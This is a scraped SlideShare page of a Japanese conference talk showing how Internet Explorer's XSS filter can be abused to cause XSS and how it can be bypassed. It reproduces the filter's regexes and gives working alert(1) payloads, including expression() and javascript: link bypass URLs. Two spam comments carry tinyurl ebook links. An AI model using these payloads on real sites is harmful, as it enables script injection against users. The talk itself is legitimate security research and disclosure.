Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.
X-XSS-Nightmare: 1; mode=attack
XSSフィルターを
利用したXSS攻撃
Masato Kinugawa
自己紹介
Masato Kinugawa
自己紹介
Masato Kinugawa
x
s
自己紹介
Masato Kinugawa
x
s
B
バグハンターの愉しみ
自己紹介
話すこと
IEのXSSフィルターを使って
❶XSSする手法
❷XSSフィルターをバイパスする手法
XSSフィルター
Internet Explorer 8から導入(2009)
Chrome/Safariにも同様の機能
IEのXSSフィルター基本
http://example.com/?q=<img+src=x+onerror=alert(1)>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
</he...
こんなふうに#
http://example.com/?q=<img+src=x+onerror=alert(1)>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
</head>
<b...
危険と判断される条件
特に文書化されていない
ブラウザにロードされるdllのバイナリに遮断文字列が
正規表現で書かれているのが確認できる
このスライドで紹介する正規表現はここから
XSSフィルターの不正確さ
条件にマッチすればユーザ入力の動的生成部と
無関係の位置にある文字列でも書き換えてしまう
http://example.com/?q=AAA&<meta+charset=
<!DOCTYPE html>
<html>...
Nightmare: 1
style属性からのJS実行
<p style="x:expression(alert(1))">
<p style="behavior:url(script.sct)">
expression() または behavior で可能
style属性の記述法いろいろ
<p style="x=expression(alert(1))">
コロンの代わりにイコール(互換モードのみ動作)
<p style="x:expression0028alert(1)0029">
<p sty...
style属性部の
フィルターの正規表現
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
ここに注目
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C)...
空白部分をくわしく
URL: ?/style+=:
/styleA=:
次のようなリクエストに対して
以下が出力されるとき
XSSフィルターはどう反応するか?
空白部分をくわしく
"style"と=の間に1文字
URL: ?/style+=:
/st#leA=:
次のようなリクエストに対して
以下が出力されるとき
Matched!
空白部分をくわしく
2文字
URL: ?/style+=:
/st#leAA=:
次のようなリクエストに対して
以下が出力されるとき
Matched!
空白部分をくわしく
3文字
URL: ?/style+=:
/st#leAAA=:
次のようなリクエストに対して
以下が出力されるとき
Matched!
空白部分をくわしく
4文字
URL: ?/style+=:
/st#leAAAA=:
次のようなリクエストに対して
以下が出力されるとき
Matched!
空白部分をくわしく
5文字
URL: ?/style+=:
/st#leAAAAA=:
次のようなリクエストに対して
以下が出力されるとき
Matched!
空白部分をくわしく
6文字
URL: ?/style+=:
/st#leAAAAAA=:
次のようなリクエストに対して
以下が出力されるとき
Matched!
空白部分をくわしく
7文字
URL: ?/style+=:
/styleAAAAAAA=:
次のようなリクエストに対して
以下が出力されるとき
スルー
空白部分をくわしく
0文字だと
URL: ?/style+=:
/st#le=:
次のようなリクエストに対して
以下が出力されるとき
Matched!
つまり
URL: ?/style+=:
/st#le=:
/st#leA=:
/st#leAA=:
/st#leAAA=:
/st#leAAAA=:
/st#leAAAAA=:
/st#leAAAAAA=:
/styleAAAAAAA=:
=U...
++にすると
URL: ?/style++=:
/st#leAAAAAAA=:
7文字にもマッチ
Matched!
0-6バイトの幅
u000A (6バイト)

 (6バイト)
文字が削除された場合と置換された
場合を考慮か
この幅は文字(バイト)によって変わる
例えば / だと0-3バイト幅になる
URL: ?/style/=:
/st#le=:
/st#leA=:
/st#leAA=:
/st#leAAA=:
/styleAAAA=:
/styleAAAAA=:
/styleAAAAAA=:
/st...
最後のバックスラッシュ
URL: ?/style=:
/st#le=:
/st#le=:aaa
HTML中には含まれていなくても反応
style属性の正しい遮断例
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<style>
body{background:gold}
</style>
</head>
<body>
...
style属性の正しい遮断例
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<style>
body{background:gold}
</style>
</head>
<body>
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
今度はフィルターをだます
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<style>
body{background:gold}
</style>
</head>
<body>
<i...
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q"...
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value="&quot;&lt;&gt;">
</body>
</html>
[ /+t"'`]sty...
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value="&quot;&lt;&gt;">
</body>
</html>
[ /+t"'`]sty...
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value="&quot;&lt;&gt;">
</body>
</html>
[ /+t"'`]sty...
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value="&quot;&lt;&gt;">
</body>
</html>
[ /+t"'`]sty...
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value="&quot;&lt;&gt;">
</body>
</html>
[ /+t"'`]sty...
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value="&quot;&lt;&gt;">
</body>
</html>
[ /+t"'`]sty...
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value="&quot;&lt;&gt;">
</body>
</html>
[ /+t"'`]sty...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
</st#le>
What will happen?
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value="">
...
URL: ?/style++++++=++=
本来のstyle要素の範囲
<style>
body{background:gold}
</st#le>
</head>
<body>
<input name="q" value="">
...
URL: ?/style++++++=++=
遮断後のstyle要素の
範囲
<style>
body{background:gold}
</st#le>
</head>
<body>
<input name="q" value="
{}*{x:expression(alert(1))}">
URL:
?q=%0A{}*...
<style>
body{background:gold}
</st#le>
</head>
<body>
<input name="q" value="
{}*{x:expression(alert(1))}">
URL:
?q=%0A{}*...
Nightmare: 2
javascript:リンクの遮断の正規表現
{(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))([t]|(&(([#()[].]x?0
*(9|(13)|(10)|A|D);?)|(tab;)|(newl...
みやすく
(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))
([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new
line;))))*
(a|(&[#(...
みやすく
(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))
([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new
line;))))*
(a|(&[#(...
みやすく
(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))
([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new
line;))))*
(a|(&[#(...
みやすく
(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))
([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new
line;))))*
(a|(&[#(...
みやすく
(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))
([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new
line;))))*
(a|(&[#(...
みやすく
(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))
([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new
line;))))*
(a|(&[#(...
みやすく
(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))
([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new
line;))))*
(a|(&[#(...
またフィルターをだます
<script type="text/javascript">a=1</script>
<script>
var q="[USER_INPUT]";
</script>
ユーザーが指定した文字列が格納されるとする
(※話...
またフィルターをだます
<script type="text/javascript">a=1</script>
<script>
var q="</script>"";
</script>
XSS対策も適切!
またフィルターをだます
<script type="text/javascript">a=1</script>
<script>
var q=":<img src=x onerror=alert(1)>";
</script>
こんな文字列が攻...
<script type="text/javascript">a=1</script>
<script>
var q=":<img src=x onerror=alert(1)>";
</script>
URL: ?java%0A%0A%0A%...
<script type="text/javascript">a=1</script>
<script>
var q=":<img src=x onerror=alert(1)>";
</script>
URL: ?java%0A%0A%0A%...
<script type="text/javascript">a=1</script>
<script>
var q=":<img src=x onerror=alert(1)>";
</script>
URL: ?java%0A%0A%0A%...
<script type="text/javascript">a=1</script>
<script>
var q=":<img src=x onerror=alert(1)>";
</script>
URL: ?java%0A%0A%0A%...
<script type="text/javascript">a=1</script>
<script>
var q=":<img src=x onerror=alert(1)>";
</script>
URL: ?java%0A%0A%0A%...
<script type="text/javascript">a=1</script>
<script>
var q=":<img src=x onerror=alert(1)>";
</script>
URL: ?java%0A%0A%0A%...
<script type="text/javascript">a=1</script>
<script>
var q=":<img src=x onerror=alert(1)>";
</script>
URL: ?java%0A%0A%0A%...
<script type="text/javascript">a=1</script>
<sc#ipt>
var q=":<img src=x onerror=alert(1)>";
</script>
URL: ?java%0A%0A%0A%...
<sc#ipt>
What will happen?
<script type="text/javascript">a=1</script>
<sc#ipt>
var q=":<img src=x onerror=alert(1)>";
</script>
URL: ?java%0A%0A%0A%...
<script type="text/javascript">a=1</script>
<sc#ipt>
var q=":<img src=x onerror=alert(1)>";
</script>
URL: ?java%0A%0A%0A%...
Nightmare: 3
<body>
<script>
var q="";abc.def=";
</script>
</body>
URL: ?q=";abc.def=
リテラルから抜ける文字 &
プロパティアクセスからの代入
というような形で
正しいフィルター例(文...
<body>
<script>
var q="";abc#def=";
</script>
</body>
URL: ?q=";abc.def=
ドットの部分を書き換えて遮断
正しいフィルター例(文字列リテラル)
["'][ ]*
(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
文字列リテラル部の
フィルターの正規表現
["'][ ]*
(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
<body>
<script>
var q="";abc.def=";
</script>
</body>
URL: ?q=";abc.def=
Matc...
またまたフィルターをだます
<script
src="//example.co.jp/test.js"
type="text/javascript">
</script>
単に外部スクリプトをロード
しているだけのコードがあるとする
["'][ ]*
(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
<script
src="//example.co.jp/test.js"
type="text/javascript">
</script>
URL: ?
["'][ ]*
(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
<script
src="//example.co.jp/test.js"
type="text/javascript">
</script>
URL: ...
["'][ ]*
(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
<script
src="//example.co.jp/test.js"
type="text/javascript">
</script>
URL: ...
["'][ ]*
(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
<script
src="//example.co.jp/test.js"
type="text/javascript">
</script>
URL: ...
["'][ ]*
(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
<script
src="//example.co.jp/test.js"
type="text/javascript">
</script>
URL: ...
["'][ ]*
(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
<script
src="//example.co.jp/test.js"
type="text/javascript">
</script>
URL: ...
["'][ ]*
(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
<script
src="//example.co.jp/test.js"
type="text/javascript">
</script>
URL: ...
["'][ ]*
(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
<script
src="//example.co.jp/test.js"
type="text/javascript">
</script>
URL: ...
["'][ ]*
(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
<script
src="//example.co#jp/test.js"
type="text/javascript">
</script>
URL: ...
<script
src="//example.co#jp/test.js"
type="text/javascript">
</script>
What will happen?
<script
src="//example.co#jp/test.js"
type="text/javascript">
</script>
example.co.jp ではなく
example.co のスクリプトをロード!
<script
src="//example.co#jp/test.js"
type="text/javascript">
</script>
["'][ ]*(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
...
<link rel="stylesheet"
href="../1.css">
<link rel="stylesheet"
href="../2....
["'][ ]*(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
...
<link rel="stylesheet"
href="../1.css">
<link rel="stylesheet"
href="../2....
["'][ ]*(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
...
<link rel="stylesheet"
href="#./1.css">
<link rel="stylesheet"
href="../2....
<link
rel="stylesheet"
href="#./1.css">
What will happen?
["'][ ]*(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
...
<link rel="stylesheet"
href="#./1.css">
<link rel="stylesheet"
href="../2....
["'][ ]*(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
...
<link rel="stylesheet"
href="#./1.css">
<link rel="stylesheet"
href="../2....
["'][ ]*(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
...
<link rel="stylesheet"
href="#./1.css">
<link rel="stylesheet"
href="../2....
Nightmare: 4
Bypass 1: expression()
<p style=v:expression&bx28;alert&bx28;1))>s:
URL:
?q=<p+style=v:expression%26bx28%3Balert%26b
x28%3...
Bypass 1: expression()
<p style=v:expression&bx28;alert&bx28;1))>s:
ここに何かいる!
URL:
?q=<p+style=v:expression%26bx28%3Balert%...
そう、vbs:とvbscript:も遮断対象
(v|(&[#()[].]x?0*((86)|(56)|(118)|(76));?))([t]|(&(([#
()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newli...
Bypass 1: expression()
<p style=v:expression&bx28;alert&bx28;1))>s:
URL:
?q=<p+style=v:expression%26bx28%3Balert%26b
x28%3...
Bypass 1: expression()
<p style=v:expression(alert&bx28;1))>s:
URL:
?q=<p+style=v:expression%26bx28%3Balert%26b
x28%3B1))>...
Bypass 1: expression()
<p style=v:expression(alert&bx28;1))>s:
URL:
?q=<p+style=v:expression%26bx28%3Balert%26b
x28%3B1))>...
Bypass 1: expression()
<p style=v:expression(alert(1))>s:
URL:
?q=<p+style=v:expression%26bx28%3Balert%26b
x28%3B1))>s:&v%...
Bypass 1: expression()
<p style=v:expression(alert(1))>s:
URL:
?q=<p+style=v:expression%26bx28%3Balert%26b
x28%3B1))>s:&v%...
Bypass 2: <a folder>
https://html5sec.org/#36
<a folder="javascript:alert(1)"
style="behavior:url(#default#Anch
orClick)">...
Bypass 2: <a folder>
URL:
?q=<a+folder="jav%26bx41%3Bscript:alert(1)"
+style="behavior:url%26bx28%3B%23default%23
AnchorCl...
Bypass 2: <a folder>
URL:
?q=<a+folder="jav%26bx41%3Bscript:alert(1)"
+style="behavior:url%26bx28%3B%23default%23
AnchorCl...
Bypass 2: <a folder>
URL:
?q=<a+folder="jav%26bx41%3Bscript:alert(1)"
+style="behavior:url%26bx28%3B%23default%23
AnchorCl...
http://l0.cm/xxn/
全ての手法を試せるページ
紹介しきれなかったものも含む
Overcome the
Nightmare
X-XSS-Protectionヘッダ
値 効果
0 無効
1
有効
(部分的書き換え)
1;mode=block
有効
(表示の完全な停止)
デフォルト
XSS保護機能を制御できるレスポンスヘッダ
デフォルトが部分的書き換え
問題箇所以外ページを変化させないで遮断
開発者にとってありがたい話のようにみえる
でもこの動作こそ
➡サイト管理者はどうすべき?
紹介した手法のような攻撃の可能性をもたらす
Y
慎重な彼らはどうしている?
HTTP/2.0 200 OK
Date: Mon, 19 Oct 2015 22:32:06 GMT
Content-Type: text/html; charset=UTF-8
Content-Encoding: gzip
Server: ...
HTTP/1.1 200 OK
Content-Encoding: gzip
Content-Type: text/html
Date: Mon, 19 Oct 2015 22:40:37 GMT
x-content-type-options:...
より安全を考えた選択
値 選択すべきサイト
0
基本的なXSSは対応している
/誤検知をなくしたい
1
推奨しない
(この手法の影響を受けるのもココ)
1;mode
=block
XSSがまだありそう
/念のため保護も受けたい
default
...
mode=blockなら安全?
直接スクリプト実行に繋がることはないはず
フィルターの恩恵の方が大きいと僕は考える
遮断時の特徴を外から検出できれば
ページ内容を推測できる可能性はありうる
この可能性はゼロにはできないだろう
一方で
何もつけない選択がしたい?
なら、次のことをしてください!
これができるなら
そもそも普通のXSS脆弱性作りこまないだろ!
✔ XSSフィルターの遮断動作を全て把握
✔ 部分的に書き換わっても安全に動作すること
を全てのページで検証
✔ 危険な...
実のところ
意図的に誤検知を生じさせて、
特定の機能を動作させないよ
うにすることも、場合によっ
ては可能です。(略) XSSフィ
ルタの作者が、この種の危険
性を認識しつつもXSSフィル
タを導入したのか(あるいは
そうではないのか)、ちょっ...
実のところ
ブラウザ側も危険性を認識した上で導入
以下は6年前の寺田さんとはせがわさんのやりとり
http://b.hatena.ne.jp/entry/14131603/comment/hasegawayosuke
中の人は "The ans...
さいごに
まだ安全側に倒す余地はあるはず
デフォルト動作が今のままで本当にいいのか
遮断の原理上、リスクはつきもの
Web開発者はその可能性を知ってほしい
デフォルト動作以外で制御することを強く推奨
XSSフィルターの改善には期待したい
";alert#"Thanks!"#//
@kinugawamasato
masatokinugawa@gmail#com
http://l0.cm/xxn/DEMO
Upcoming SlideShare
Loading in …5
×

X-XSS-Nightmare: 1; mode=attack ~XSSフィルターを利用したXSS攻撃~

18,540 views

Published on

セキュリティカンファレンス、CODE BLUE 2015で発表する"予定だった"資料です。
2015/12: 一部の問題がまだ修正されていないので、非公開の部分があります。
2016/12: 完全版を公開しました。Nightmare 2 と4が新たに公開した部分です。

Published in: Technology
  • DOWNLOAD FULL BOOKS, INTO AVAILABLE FORMAT ......................................................................................................................... ......................................................................................................................... 1.DOWNLOAD FULL. PDF EBOOK here { https://tinyurl.com/y3nhqquc } ......................................................................................................................... 1.DOWNLOAD FULL. EPUB Ebook here { https://tinyurl.com/y3nhqquc } ......................................................................................................................... 1.DOWNLOAD FULL. doc Ebook here { https://tinyurl.com/y3nhqquc } ......................................................................................................................... 1.DOWNLOAD FULL. PDF EBOOK here { https://tinyurl.com/y3nhqquc } ......................................................................................................................... 1.DOWNLOAD FULL. EPUB Ebook here { https://tinyurl.com/y3nhqquc } ......................................................................................................................... 1.DOWNLOAD FULL. doc Ebook here { https://tinyurl.com/y3nhqquc } ......................................................................................................................... ......................................................................................................................... ......................................................................................................................... .............. Browse by Genre Available eBooks ......................................................................................................................... Art, Biography, Business, Chick Lit, Children's, Christian, Classics, Comics, Contemporary, Cookbooks, Crime, Ebooks, Fantasy, Fiction, Graphic Novels, Historical Fiction, History, Horror, Humor And Comedy, Manga, Memoir, Music, Mystery, Non Fiction, Paranormal, Philosophy, Poetry, Psychology, Religion, Romance, Science, Science Fiction, Self Help, Suspense, Spirituality, Sports, Thriller, Travel, Young Adult,
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
  • DOWNLOAD FULL BOOKS, INTO AVAILABLE FORMAT ......................................................................................................................... ......................................................................................................................... 1.DOWNLOAD FULL. PDF EBOOK here { https://tinyurl.com/y3nhqquc } ......................................................................................................................... 1.DOWNLOAD FULL. EPUB Ebook here { https://tinyurl.com/y3nhqquc } ......................................................................................................................... 1.DOWNLOAD FULL. doc Ebook here { https://tinyurl.com/y3nhqquc } ......................................................................................................................... 1.DOWNLOAD FULL. PDF EBOOK here { https://tinyurl.com/y3nhqquc } ......................................................................................................................... 1.DOWNLOAD FULL. EPUB Ebook here { https://tinyurl.com/y3nhqquc } ......................................................................................................................... 1.DOWNLOAD FULL. doc Ebook here { https://tinyurl.com/y3nhqquc } ......................................................................................................................... ......................................................................................................................... ......................................................................................................................... .............. Browse by Genre Available eBooks ......................................................................................................................... Art, Biography, Business, Chick Lit, Children's, Christian, Classics, Comics, Contemporary, Cookbooks, Crime, Ebooks, Fantasy, Fiction, Graphic Novels, Historical Fiction, History, Horror, Humor And Comedy, Manga, Memoir, Music, Mystery, Non Fiction, Paranormal, Philosophy, Poetry, Psychology, Religion, Romance, Science, Science Fiction, Self Help, Suspense, Spirituality, Sports, Thriller, Travel, Young Adult,
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here

X-XSS-Nightmare: 1; mode=attack ~XSSフィルターを利用したXSS攻撃~

  1. 1. X-XSS-Nightmare: 1; mode=attack XSSフィルターを 利用したXSS攻撃 Masato Kinugawa
  2. 2. 自己紹介 Masato Kinugawa
  3. 3. 自己紹介 Masato Kinugawa x s
  4. 4. 自己紹介 Masato Kinugawa x s B
  5. 5. バグハンターの愉しみ 自己紹介
  6. 6. 話すこと IEのXSSフィルターを使って ❶XSSする手法 ❷XSSフィルターをバイパスする手法
  7. 7. XSSフィルター Internet Explorer 8から導入(2009) Chrome/Safariにも同様の機能
  8. 8. IEのXSSフィルター基本 http://example.com/?q=<img+src=x+onerror=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> </head> <body> q param is: <img src=x onerror=alert(1)> </body> </html> リクエストの値とレスポンスから、危険と判断 される条件にマッチすればページを書き換える 遮断前
  9. 9. こんなふうに# http://example.com/?q=<img+src=x+onerror=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> </head> <body> q param is: <img src=x #nerror=alert(1)> </body> </html> 遮断後 リクエストの値とレスポンスから、危険と判断 される条件にマッチすればページを書き換える
  10. 10. 危険と判断される条件 特に文書化されていない ブラウザにロードされるdllのバイナリに遮断文字列が 正規表現で書かれているのが確認できる このスライドで紹介する正規表現はここから
  11. 11. XSSフィルターの不正確さ 条件にマッチすればユーザ入力の動的生成部と 無関係の位置にある文字列でも書き換えてしまう http://example.com/?q=AAA&<meta+charset= <!DOCTYPE html> <html> <head> <m#ta charset="utf-8"> </head> <body> q param is: AAA </body> </html>
  12. 12. Nightmare: 1
  13. 13. style属性からのJS実行 <p style="x:expression(alert(1))"> <p style="behavior:url(script.sct)"> expression() または behavior で可能
  14. 14. style属性の記述法いろいろ <p style="x=expression(alert(1))"> コロンの代わりにイコール(互換モードのみ動作) <p style="x:expression0028alert(1)0029"> <p style="x:expression(alert(1))"> CSSのUnicodeエスケープ 数値文字参照
  15. 15. style属性部の フィルターの正規表現 [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?))
  16. 16. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) 属性の区切りがきて、 style属性部の フィルターの正規表現
  17. 17. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) style= がきて、 style属性部の フィルターの正規表現
  18. 18. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) コロン か イコール がきて、 style属性部の フィルターの正規表現
  19. 19. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) 左カッコ か バックスラッシュ が でてきたら遮断、みたいなかんじ style属性部の フィルターの正規表現
  20. 20. ここに注目 [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) "style"の後に 空白相当の文字 が0文字以上 入っても遮断 [0x09-0x0D] OR [0x20] OR / OR +
  21. 21. 空白部分をくわしく URL: ?/style+=: /styleA=: 次のようなリクエストに対して 以下が出力されるとき XSSフィルターはどう反応するか?
  22. 22. 空白部分をくわしく "style"と=の間に1文字 URL: ?/style+=: /st#leA=: 次のようなリクエストに対して 以下が出力されるとき Matched!
  23. 23. 空白部分をくわしく 2文字 URL: ?/style+=: /st#leAA=: 次のようなリクエストに対して 以下が出力されるとき Matched!
  24. 24. 空白部分をくわしく 3文字 URL: ?/style+=: /st#leAAA=: 次のようなリクエストに対して 以下が出力されるとき Matched!
  25. 25. 空白部分をくわしく 4文字 URL: ?/style+=: /st#leAAAA=: 次のようなリクエストに対して 以下が出力されるとき Matched!
  26. 26. 空白部分をくわしく 5文字 URL: ?/style+=: /st#leAAAAA=: 次のようなリクエストに対して 以下が出力されるとき Matched!
  27. 27. 空白部分をくわしく 6文字 URL: ?/style+=: /st#leAAAAAA=: 次のようなリクエストに対して 以下が出力されるとき Matched!
  28. 28. 空白部分をくわしく 7文字 URL: ?/style+=: /styleAAAAAAA=: 次のようなリクエストに対して 以下が出力されるとき スルー
  29. 29. 空白部分をくわしく 0文字だと URL: ?/style+=: /st#le=: 次のようなリクエストに対して 以下が出力されるとき Matched!
  30. 30. つまり URL: ?/style+=: /st#le=: /st#leA=: /st#leAA=: /st#leAAA=: /st#leAAAA=: /st#leAAAAA=: /st#leAAAAAA=: /styleAAAAAAA=: =URLの+部分 HTML中の任意の 0-6バイトに該当
  31. 31. ++にすると URL: ?/style++=: /st#leAAAAAAA=: 7文字にもマッチ Matched!
  32. 32. 0-6バイトの幅 u000A (6バイト) (6バイト) 文字が削除された場合と置換された 場合を考慮か この幅は文字(バイト)によって変わる
  33. 33. 例えば / だと0-3バイト幅になる URL: ?/style/=: /st#le=: /st#leA=: /st#leAA=: /st#leAAA=: /styleAAAA=: /styleAAAAA=: /styleAAAAAA=: /styleAAAAAAA=:
  34. 34. 最後のバックスラッシュ URL: ?/style=: /st#le=: /st#le=:aaa HTML中には含まれていなくても反応
  35. 35. style属性の正しい遮断例 <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <style> body{background:gold} </style> </head> <body> <input name="q" value="[XSS_HERE]"> </body> </html> URL: ?q=[XSS_HERE] こんな場面では、
  36. 36. style属性の正しい遮断例 <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <style> body{background:gold} </style> </head> <body> <input name="q" value=""style="x:expression(alert(1))"> </body> </html> URL: ?q="style="x:expression(alert(1)) こんなふうに攻撃できるが、 フィルターがあれば…
